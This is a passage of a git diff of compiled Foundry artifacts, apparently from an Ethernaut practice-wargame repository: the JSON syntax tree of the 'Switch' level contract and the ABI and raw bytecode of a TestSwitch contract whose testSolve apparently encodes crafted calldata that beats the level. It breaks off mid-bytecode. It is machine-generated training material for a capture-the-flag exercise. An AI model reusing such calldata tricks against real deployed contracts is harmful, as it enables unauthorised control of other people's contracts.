Switch"}],"id":55194,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"805:7:108","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55193,"name":"address","nodeType":"ElementaryTypeName","src":"805:7:108","typeDescriptions":{}}},"id":55196,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"805:13:108","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55197,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"819:4:108","memberName":"call","nodeType":"MemberAccess","src":"805:18:108","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":55199,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"805:25:108","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"787:43:108"},{"expression":{"arguments":[{"id":55202,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55192,"src":"848:7:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"63616c6c206661696c6564203a28","id":55203,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"857:16:108","typeDescriptions":{"typeIdentifier":"t_stringliteral_c24ba83a1746e107f8e6e7cc32b441600ba35380bfbfa160f12b2758838ad298","typeString":"literal_string \"call failed :(\""},"value":"call failed :("}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c24ba83a1746e107f8e6e7cc32b441600ba35380bfbfa160f12b2758838ad298","typeString":"literal_string \"call failed :(\""}],"id":55201,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"840:7:108","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"840:34:108","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55205,"nodeType":"ExpressionStatement","src":"840:34:108"}]},"functionSelector":"30c13ade","implemented":true,"kind":"function","modifiers":[{"id":55189,"kind":"modifierInvocation","modifierName":{"id":55188,"name":"onlyOff","nameLocations":["769:7:108"],"nodeType":"IdentifierPath","referencedDeclaration":55184,"src":"769:7:108"},"nodeType":"ModifierInvocation","src":"769:7:108"}],"name":"flipSwitch","nameLocation":"731:10:108","parameters":{"id":55187,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55186,"mutability":"mutable","name":"_data","nameLocation":"755:5:108","nodeType":"VariableDeclaration","scope":55207,"src":"742:18:108","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":55185,"name":"bytes","nodeType":"ElementaryTypeName","src":"742:5:108","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"741:20:108"},"returnParameters":{"id":55190,"nodeType":"ParameterList","parameters":[],"src":"777:0:108"},"scope":55228,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":55217,"nodeType":"FunctionDefinition","src":"887:72:108","nodes":[],"body":{"id":55216,"nodeType":"Block","src":"927:32:108","nodes":[],"statements":[{"expression":{"id":55214,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55212,"name":"switchOn","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55140,"src":"937:8:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":55213,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"948:4:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"937:15:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55215,"nodeType":"ExpressionStatement","src":"937:15:108"}]},"functionSelector":"76227e12","implemented":true,"kind":"function","modifiers":[{"id":55210,"kind":"modifierInvocation","modifierName":{"id":55209,"name":"onlyThis","nameLocations":["918:8:108"],"nodeType":"IdentifierPath","referencedDeclaration":55163,"src":"918:8:108"},"nodeType":"ModifierInvocation","src":"918:8:108"}],"name":"turnSwitchOn","nameLocation":"896:12:108","parameters":{"id":55208,"nodeType":"ParameterList","parameters":[],"src":"908:2:108"},"returnParameters":{"id":55211,"nodeType":"ParameterList","parameters":[],"src":"927:0:108"},"scope":55228,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":55227,"nodeType":"FunctionDefinition","src":"965:74:108","nodes":[],"body":{"id":55226,"nodeType":"Block","src":"1006:33:108","nodes":[],"statements":[{"expression":{"id":55224,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55222,"name":"switchOn","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55140,"src":"1016:8:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":55223,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1027:5:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"1016:16:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55225,"nodeType":"ExpressionStatement","src":"1016:16:108"}]},"functionSelector":"20606e15","implemented":true,"kind":"function","modifiers":[{"id":55220,"kind":"modifierInvocation","modifierName":{"id":55219,"name":"onlyThis","nameLocations":["997:8:108"],"nodeType":"IdentifierPath","referencedDeclaration":55163,"src":"997:8:108"},"nodeType":"ModifierInvocation","src":"997:8:108"}],"name":"turnSwitchOff","nameLocation":"974:13:108","parameters":{"id":55218,"nodeType":"ParameterList","parameters":[],"src":"987:2:108"},"returnParameters":{"id":55221,"nodeType":"ParameterList","parameters":[],"src":"1006:0:108"},"scope":55228,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Switch","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55228],"name":"Switch","nameLocation":"66:6:108","scope":55229,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":108} \ No newline at end of file diff --git a/contracts/out/Switch.t.sol/TestSwitch.json b/contracts/out/Switch.t.sol/TestSwitch.json new file mode 100644 index 000000000..998743de4 --- /dev/null +++ b/contracts/out/Switch.t.sol/TestSwitch.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616731806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001d34565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001d77565b620001b3620001fa36600462001e63565b62000a32565b6200020a62000bfd565b604051620001c7919062001f36565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001ff9565b620001da62000257366004620020c6565b62000eea565b6200019a6200107a565b6200027162001371565b604051620001c79190620020de565b620001b36200029136600462002144565b62001446565b6200023762001565565b620002b8620002b236600462002162565b6200164a565b6040519015158152602001620001c7565b62000271620017da565b6200019a620018af565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001948565b620001da62001a1c565b6200019a6200032f366004620020c6565b62001a7c565b601e54620002b89060ff1681565b5f62000350600262000eea565b9050805f815181106200036757620003676200219e565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200219e565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001446565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001ce7565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200097691908101906200223f565b90508060018251620009899190620023cf565b815181106200099c576200099c6200219e565b60200260200101515f0151600281518110620009bc57620009bc6200219e565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620023e5565b90505f81848560405160200162000ad492919062002437565b60408051601f198184030181529082905262000af49291602001620024e5565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5890859060040162002517565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620023e5565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001af090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c92906200252b565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc0906200252b565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ed157602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b0319168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f095762000f0962001dc5565b60405190808252806020026020018201604052801562000f33578160200160208202803683370190505b5090505f5b8381101562001073575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f80573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fa6919062002565565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001024575f80fd5b505af115801562001037573d5f803e3d5ffd5b50505050808383815181106200105157620010516200219e565b6001600160a01b03909216602092830291909101909101525060010162000f38565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010d1575f80fd5b505af1158015620010e4573d5f803e3d5ffd5b50506040805160048152602480820183526020820180516001600160e01b03167f20606e150000000000000000000000000000000000000000000000000000000017905291515f94507f30c13adec91872243f797e6f9ca682ad108854e1f771ca6bee08c6550c7198d793506200115c920162002517565b60408051601f198184030181529181526020820180516001600160e01b03167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925260215491519092505f9182916001600160a01b0390911690620011cb90859062002583565b5f604051808303815f865af19150503d805f811462001206576040519150601f19603f3d011682016040523d82523d5f602084013e6200120b565b606091505b5091509150816200122157620012218162001b92565b602154604080517ff9f8f8950000000000000000000000000000000000000000000000000000000081529051620012b2926001600160a01b03169163f9f8f8959160048083019260209291908290030181865afa15801562001285573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620012ab9190620025a0565b1562001bf5565b6040518060e0016040528060a481526020016200665860a491396021546040519194506001600160a01b031690620012ec90859062002583565b5f604051808303815f865af19150503d805f811462001327576040519150601f19603f3d011682016040523d82523d5f602084013e6200132c565b606091505b509092509050816200134357620013438162001b92565b6020546021546200136c9162001366916001600160a01b0391821691166200164a565b62001bf5565b505050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620013b4906200252b565b80601f0160208091040260200160405190810160405280929190818152602001828054620013e2906200252b565b8015620014315780601f10620014075761010080835404028352916020019162001431565b820191905f5260205f20905b8154815290600101906020018083116200141357829003601f168201915b50505050508152602001906001019062001394565b5f80604051620014569062001cf5565b604051809103905ff08015801562001470573d5f803e3d5ffd5b5090505f604051620014829062001d03565b604051809103905ff0801580156200149c573d5f803e3d5ffd5b508483604051620014ad9062001d11565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620014e7573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001546575f80fd5b505af115801562001559573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200163157602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b03191681526020019060040190602082600301049283019260010382029150808411620015f25790505b5050505050815250508152602001906001019062001588565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620016a6575f80fd5b505af1158015620016b9573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001717575f80fd5b505af11580156200172a573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200178e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620017b791908101906200223f565b9050600181511115620017cf576001915050620017d4565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200181d906200252b565b80601f01602080910402602001604051908101604052809291908181526020018280546200184b906200252b565b80156200189a5780601f1062001870576101008083540402835291602001916200189a565b820191905f5260205f20905b8154815290600101906020018083116200187c57829003601f168201915b505050505081526020019060010190620017fd565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001906575f80fd5b505af115801562001919573d5f803e3d5ffd5b50506020546021546200194693506200194092506001600160a01b0391821691166200164a565b62001c74565b565b6008545f9060ff161562001960575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620019ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001a159190620025c1565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f62001a898243620025d9565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001b479086908690600401620025ef565b5f60405180830381865afa15801562001b62573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b8b919081019062002620565b9392505050565b62001bf28160405160240162001ba9919062002517565b60408051601f198184030181529190526020810180516001600160e01b03167f0be77f560000000000000000000000000000000000000000000000000000000017905262001cc7565b50565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001c5a575f80fd5b505afa15801562001c6d573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001c43565b80516a636f6e736f6c652e6c6f67602083015f808483855afa5050505050565b6108f8806200265783390190565b610ae58062002f4f83390190565b611e7a8062003a3483390190565b610daa80620058ae83390190565b6001600160a01b038116811462001bf2575f80fd5b5f805f6060848603121562001d47575f80fd5b833562001d548162001d1f565b9250602084013562001d668162001d1f565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001db95783516001600160a01b03168352928401929184019160010162001d92565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001dff5762001dff62001dc5565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001e315762001e3162001dc5565b604052919050565b5f67ffffffffffffffff82111562001e555762001e5562001dc5565b50601f01601f191660200190565b5f6020828403121562001e74575f80fd5b813567ffffffffffffffff81111562001e8b575f80fd5b8201601f8101841362001e9c575f80fd5b803562001eb362001ead8262001e39565b62001e05565b81815285602083850101111562001ec8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001f0157818101518382015260200162001ee7565b50505f910152565b5f815180845262001f2281602086016020860162001ee5565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001fea57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001fd357605f1988850301835262001fc084865162001f09565b948d01949350918c019160010162001fa1565b505050968901969350509087019060010162001f5b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620020b857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620020a25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200205e565b5096890196945050509086019060010162002020565b509098975050505050505050565b5f60208284031215620020d7575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200213757603f198886030184526200212485835162001f09565b9450928501929085019060010162002105565b5092979650505050505050565b5f6020828403121562002155575f80fd5b813562001b8b8162001d1f565b5f806040838503121562002174575f80fd5b8235620021818162001d1f565b91506020830135620021938162001d1f565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffff